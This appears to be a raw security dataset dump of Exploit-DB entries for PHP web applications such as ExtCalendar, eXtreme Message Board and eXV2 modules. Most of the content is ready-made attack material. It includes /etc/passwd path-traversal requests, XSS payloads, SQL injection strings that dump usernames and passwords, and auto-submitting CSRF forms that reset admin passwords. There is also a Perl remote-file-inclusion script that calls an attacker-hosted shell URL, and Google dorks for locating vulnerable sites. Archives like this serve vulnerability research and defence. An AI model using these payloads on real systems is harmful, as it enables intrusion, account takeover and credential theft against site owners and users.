deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3800
Description: Ext 1.0 - 'feed-proxy.php?feed' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-04-25
Author: Alkomandoz Hacker

Exploit:
#  ext 1.0 alpha1 (feed-proxy.php) Remote File Disclosure
# D.Script: http://yui-ext.com/deploy/ext-1.0-alpha1.zip
# Discovered by: Alkomandoz Hacker
# Homepage: http://www.asb-may.net - mohandko.com - sniper-sa.com - tryag.com
# V.Code In /examples/layout/feed-proxy.php

----------------------------------------------------------

header('Content-Type: text/xml');
       readfile($feed);
       return;
}
?>

----------------------------------------------------------

# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=http../../../../../../etc/passwd

# Greetz To: AsbMay's Group & City Of Ghost Team

# milw0rm.com [2007-04-25]
Exploit-DB #27443
Description: Extcalendar 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-18
Author: Soothackers

Exploit:
source: https://www.securityfocus.com/bid/17146/info

ExtCalendar is prone to four cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/calendar.php?op=cal&month=3&year="><script>alert(/Soot/)</script> 

http://www.example.com/path/calendar.php?op=cal&month="><script>alert(/Soot/)</script>&year=2006 

http://www.example.com/path/calendar.php?op=day&ask=nd&da=28&mo=3&ye=2006&next="><script>alert(/Soot/)</script> 

http://www.example.com/path/calendar.php?op=day&ask=nd&da=28&mo=3&ye=2006&next=2&prev="><script>alert(/Soot/)</script>
Exploit-DB #15966
Description: Extcalendar 2 - 'calendar.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-11
Author: Lagripe-Dz & Mca-Crb

Exploit:
# Title : ExtCalendar 2 (calendar.php) SQL Injection Vulnerability
# Author : Lagripe-Dz
# Product: ExtCalendar 2
# Download : http://sourceforge.net/projects/extcal/
# Date: 10/01/2011
# Dork : inurl:calendar.php?mode=cat

================================================================

-== ExPloiT ==-

http://www.site.com/[PATH]/calendar.php?mode=cat&cat_id=[SQL.i]


================================================================

Greetz To : MCA-CRB , BrOx-Dz , DyinG.Dz & All Dz
Greetz To All Members of : wWw.sEc4EvEr.CoM , wWw.sEc-wAr.CoM
Exploit-DB #3239
Description: Extcalendar 2 - 'profile.php' Remote User Pass Change
Type: webapps
Platform: php
Date: 2007-01-31
Author: ajann

Exploit:
<form name="userform" action="http://[target]/register.php" method="post">
		<input name="step" type="hidden" value="regform">


		<tr>
			<td class='tableh2' colspan='2'>Account Information</td>

		</tr>
		<tr>
			<td class='tableb' width='160'>Username</td>
			<td class='tableb'>
			</td>
		</tr>
		<tr>
			<td class='tableb' width='160'>Password</td>

			<td class='tableb'><input type='password' name='password' class='textinput' value="" size='25' maxlength="16">
			</td>
		</tr>
		<tr>
			<td class='tableb' width='160'>Confirm Password</td>
			<td class='tableb'><input type='password' name='password_confirm' class='textinput' value="" size='25' maxlength="16">
			</td>
		</tr>

		<tr>
			<td class='tableb' width='160'>E-mail Address</td>
			<td class='tableb'><input type='text' name='email' class='textinput' value="" size='25'>
			</td>
		</tr>
		<tr>
			<td class='tableh2' colspan='2'>Other Details</td>
		</tr>

		<tr>
			<td class='tableb' width='160'>First Name</td>
			<td class='tableb'><input type='text' name='firstname' class='textinput' value="" size='25'>
			</td>
		</tr>
		<tr>
			<td class='tableb' width='160'>Last Name</td>
			<td class='tableb'><input type='text' name='lastname' class='textinput' value="" size='25'>

			</td>
		<tr>
			<td class='tableb' width='160'>Home page</td>
			<td class='tableb'><input type='text' name='user_website' class='textinput' value="" size='25'>
			</td>
		<tr>
			<td class='tableb' width='160'>Location</td>
			<td class='tableb'><input type='text' name='user_location' class='textinput' value="" size='25'>

			</td>
		<tr>
			<td class='tableb' width='160'>Occupation</td>
			<td class='tableb'><input type='text' name='user_occupation' class='textinput' value="" size='25'>
			</td>
		</tr>

		<tr>

			<td class='tablec' colspan='2' align='center' valign='middle' height='40'>
				<input name='submit' type='submit' value="&nbsp;&nbsp;Submit my registration&nbsp;&nbsp;" class='button'>
			</td>
		</tr>
<!-- END submit_row -->
	</form>

# milw0rm.com [2007-01-31]
Exploit-DB #28190
Description: Extcalendar 2.0 - 'Extcalendar.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-07
Author: Matdhule

Exploit:
source: https://www.securityfocus.com/bid/18876/info

ExtCalendar is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 2.0 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/extcalendar.php?mosConfig_absolute_path=[attacker]
Exploit-DB #37781
Description: Extcalendar 2.0 - Multiple SQL Injections / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-05
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/55424/info

ExtCalendar is prone to multiple SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, and steal cookie-based authentication credentials; other attacks are also possible.

ExtCalendar 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/calendar.php?mode=view&id={SQL}
http://www.example.com/calendar.php?mode=cat&cat_id={SQL}
http://www.example.com/calendar/cal_popup.php?mode=view&id={SQL}
Exploit-DB #17321
Description: Extcalendar 2.0b2 - 'cal_search.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-25
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22986
Reference: http://www.htbridge.ch/advisory/sql_injection_in_extcalendar_2.html
Product: ExtCalendar 2
Vendor: http://sourceforge.net/projects/extcal/ 
Vulnerable Version: 2.0b2
Vendor Notification: 05 May 2011 
Vulnerability Type: SQL Injection
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "cal_search.php" script to properly sanitize user-supplied input in "search" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


<form action="http://[host]/cal_search.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="search" value="') union select 1,version(),3,4,5,6,7,8,9,10 -- "> 
<input type="submit" value="OK">
Exploit-DB #7525
Description: Extract Website - 'Filename' File Disclosure
Type: webapps
Platform: php
Date: 2008-12-19
Author: Cold Zero

Exploit:
Extract Website (download.php filename) Local File Include

# author : Cold z3ro, http://www.hackteach.org/
# script : http://secure.emetrix.com/order/product.asp?PID=74332316
# demo   : http://www.rightscripts.com/extractwebsite/
# about  : This tool help you extract web data include URL links,
       domain names, contact emails, keywords, meta tags, page titles
       or text from other website.
       You can extract these data from a list of website links or from simple text.


# Exploit

[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd



# Example

[~] http://www.rightscripts.com/extractwebsite/download.php?filename=../../../../../../../../etc/passwd


==================================
Greetz : www.hackteach.org members , AnGeL25dZ

# milw0rm.com [2008-12-19]
Exploit-DB #32547
Description: Extrakt Framework 0.7 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-29
Author: ShockShadow

Exploit:
source: https://www.securityfocus.com/bid/31971/info

Extrakt Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize
user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Extrakt Framework 0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[SCRIPT_DIR]/index.php?plugins[file][id]=<script>alert(2008);</script>
Exploit-DB #26692
Description: Extreme Corporate 6.0 - 'Extremesearch.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15675/info

Extreme Search Corporate Edition is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 6.0 and prior are vulnerable; other versions may also be affected.

http://www.example.com/search/extremesearch.php?search=%3Cscript%3Ealert%28%27r0t+XSS%27%29%3C%2Fscript%3E&lang=
Exploit-DB #29574
Description: eXtreme File Hosting - Arbitrary '.RAR' File Upload
Type: webapps
Platform: php
Date: 2007-02-09
Author: hamed bazargani

Exploit:
source: https://www.securityfocus.com/bid/22498/info

eXtreme File Hosting is prone to an arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to upload and execute arbitrary PHP script code in the context of the affected webserver process. This may help the attacker compromise the application; other attacks are possible. 

<?php
$file = 'http://sample.com/evile_file.php';
$newfile = 'evile_file.php';
if (!copy($file, $newfile)) {
   echo "failed to copy $file...\n";
}else{
   echo "OK file copy in victim host";
}
Exploit-DB #14364
Description: eXtreme Message Board 1.9.11 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-15
Author: 10n1z3d

Exploit:
<!---
    Title: eXtreme Message Board 1.9.11 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Thu 15 Jul 2010 12:08:07 PM EEST
    Vendor: http://www.xmbforum.com/
    Download: http://www.xmbforum.com/download/XMB-1.9.11.09.zip
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    -=[ Method 1 - editprofile.php ]=-
    
        <html>
            <head>
                <title>eXtreme Message Board 1.9.11 Multiple CSRF Vulnerabilities - Change Admin Password</title>
            </head>
            <body onload="document.csrf.submit();">
                <form name="csrf" action="http://[domain]/[path]/editprofile.php?user=admin" method="post">
                    <!--- Edit these --->
                    <input type="hidden" name="username" value="admin" />
                    <input type="hidden" name="newemail" value="root@root.com" />
                    <input type="hidden" name="newpassword" value="rootroot" />
                    <!--- Do not edit below --->
                    <input type="hidden" name="status" value="Super Administrator" />
                    <input type="hidden" name="editsubmit" value="Edit Profile" />
                </form>
            </body>
        </html>
        
    -=[ Method 2 - cp.php ]=-
    
        <html>
            <head>
                <title>eXtreme Message Board 1.9.11 Multiple CSRF Vulnerabilities - Change Admin Password</title>
            </head>
            <body onload="document.csrf.submit();">
                <form name="csrf" action="http://[domain]/[path]/cp.php?action=members" method="post">
                    <!--- Edit this --->
                    <input type="hidden" name="pw1" value="rootroot" />
                    <!--- Fun --->
                    <input type="hidden" name="postnum1" value="1337" />
                    <input type="hidden" name="cusstatus1" value="rooted" />
                    <!--- Do not edit below --->
                    <input type="hidden" name="srchmem" value="admin" />
                    <input type="hidden" name="status1" value="Super Administrator" />
                    <input type="hidden" name="membersubmit" value="Submit Changes" />
                </form>
            </body>
        </html>
    
-=[ CSRF PoC 2 - Clear Control Panel Logs ]=-
    
    <img src="http:/[domain]/[path]/tools.php?action=logsdump&yessubmit=Yes" alt="Do you see this?" />    

-=[ CSRF PoC 3 - Logout The Administrator ]=-

    <img src="http://[domain]/[path]/misc.php?action=logout" alt="Do you see this?" />

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #33650
Description: Extreme Mobster - 'login' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-16
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/38265/info

Extreme Mobster is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 


http://www.example.com/index.php?login=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&pass=indoushka&passconfirm=indoushka&email=indoushka%40hotmail2E.com&stad=1&recruiter=Algeria-hackerz&submit=Sign%20Up
Exploit-DB #3370
Description: Extreme phpBB 3.0.1 - 'functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-24
Author: Mehmet Ince

Exploit:
# (C) xoron
#
# [Name: phpBB Extreme 3.0.1 (phpbb_root_path) Remote File Include Exploit ]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=95900 ]
#
# [Tesekkurler: pang0, DJR]
# 
# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );x );
#
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac?k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-24]
Exploit-DB #32398
Description: eXtrovert software Thyme 1.3 - 'add_calendars.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-21
Author: DigiTrust Group

Exploit:
source: https://www.securityfocus.com/bid/31287/info

Thyme is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Thyme 1.3; other versions may also be affected. 

http://www.example.com/thyme/modules/common_files/add_calendars.php?callback="/></SCRIPT></FORM><SCRIPT>alert(document.cookie)</SCRIPT><SCRIPT><FORM>
Exploit-DB #32342
Description: eXtrovert software Thyme 1.3 - 'pick_users.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-08
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/31063/info

eXtrovert software Thyme is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Thyme 1.3 is affected; other versions may also be vulnerable. 

Submit the following to the input field at /thyme/modules/groups/pick_users.php:
' union all select proof,of,concept from mysql.db/*
Exploit-DB #34850
Description: eXV2 CMS - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-15
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/44169/info

eXV2 CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eXV2 CMS 2.10 is vulnerable; other versions may also be affected.

http://www.example.com/manual/caferss/example.php?rssfeedURL="%20onmouseover=prompt(1)%20xss="&submit=OK
http://www.example.com/modules/news/archive.php?subm="><script>alert(1)</script>
http://www.example.com/modules/news/topics.php?subm="><script>alert(1)</script>
http://www.example.com/modules/contact/index.php?op=contact&subm="><script>alert(1)</script>
Exploit-DB #5244
Description: eXV2 Module bamaGalerie 3.03 - SQL Injection
Type: webapps
Platform: php
Date: 2008-03-12
Author: S@BUN

Exploit:
##########################################
#
# eXV2 Module bamaGalerie 3.03 SQL Injection
#
# download=http://www.exv2-filecenter.de/modules/mydownloads/singlefile.php?lid=9
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/bamagalerie3"
# DORKS 2 : allinurl :"modules/bamagalerie"
#
###########################################
EXPLOIT :

viewcat.php?cid=-9999999/**/union/**/select/**/0,1,2,3,concat(uname,0x3a,pass),5,6/**/from/**/e_xoops_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-12]
Exploit-DB #5253
Description: eXV2 Module eblog 1.2 - 'blog_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-14
Author: S@BUN

Exploit:
##########################################
#
# Powered by eXV2 eblog 1.2 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/eblog"
#
# DORK 2 : allinurl :"exoops/modules/eblog"
#
###########################################
EXPLOIT :

modules/eblog/index.php?blog_id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass)/**/from/**/e_xoops_users/*where%20exv2_admin%201

###########################################

category: eXV2 - Module 1.2
Submit date: 2008/2/22
Version :1.2

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14]
Exploit-DB #5252
Description: eXV2 Module MyAnnonces - 'lid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-14
Author: S@BUN

Exploit:
##########################################
#
# Powered by eXV2 MyAnnonces 1.8 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : eXV2 MyAnnonces
#
###########################################
EXPLOIT :

modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-9999999/**/union/**/select/**/pass,pass,uname,0x3a,0x3a,0x3a,0x3a,0,0,0,0x3a,0x3a,1/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################

Category: eXV2 - Module
myannonces 1.8
Submit date; 2006/4/10
Version : 1.8

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14]
Exploit-DB #5254
Description: eXV2 Module Viso 2.0.4.3 - 'kid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-14
Author: S@BUN

Exploit:
##########################################
#
# Powered by eXV2 Viso 2.03 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/viso"
#
###########################################
EXPLOIT 1 :

modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201

EXPLOIT 2 :

modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################
Viso 2.03
Submit date: 2006/8/10
Homepage: www.exv2.de
Version : 2.03
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14]